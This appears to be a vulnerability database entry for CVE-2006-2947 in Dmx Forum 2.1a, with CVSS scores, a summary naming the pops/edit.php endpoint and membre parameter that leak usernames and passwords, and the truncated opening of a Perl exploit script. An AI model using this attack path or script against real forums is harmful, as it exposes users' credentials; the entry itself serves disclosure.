5
CVSSv2

CVE-2006-2947

Published: 12/06/2006 Updated: 20/07/2017
CVSS v2 Base Score: 5 | Impact Score: 2.9 | Exploitability Score: 10
VMScore: 505
Vector: AV:N/AC:L/Au:N/C:P/I:N/A:N

Vulnerability Summary

Dmx Forum 2.1a allows remote malicious users to obtain username and password information via a direct request to pops/edit.php with a modified membre parameter.

Vulnerable Product Search on Vulmon Subscribe to Product

dmx forum dmx forum 2.1a

Exploits

#!/usr/bin/perl # # by DarkFig -- wwwacid-rootnewfr # use LWP::Simple; if ( !$ARGV[1] ) { header(); print "\n| Usage: <url> <member_id> ----------------|"; print "\n+------------------------------------------+"; print "\n| Example: localhost/dmx/ 1 ------|"; end(); } sub header { print "\n+--------------------------------- ...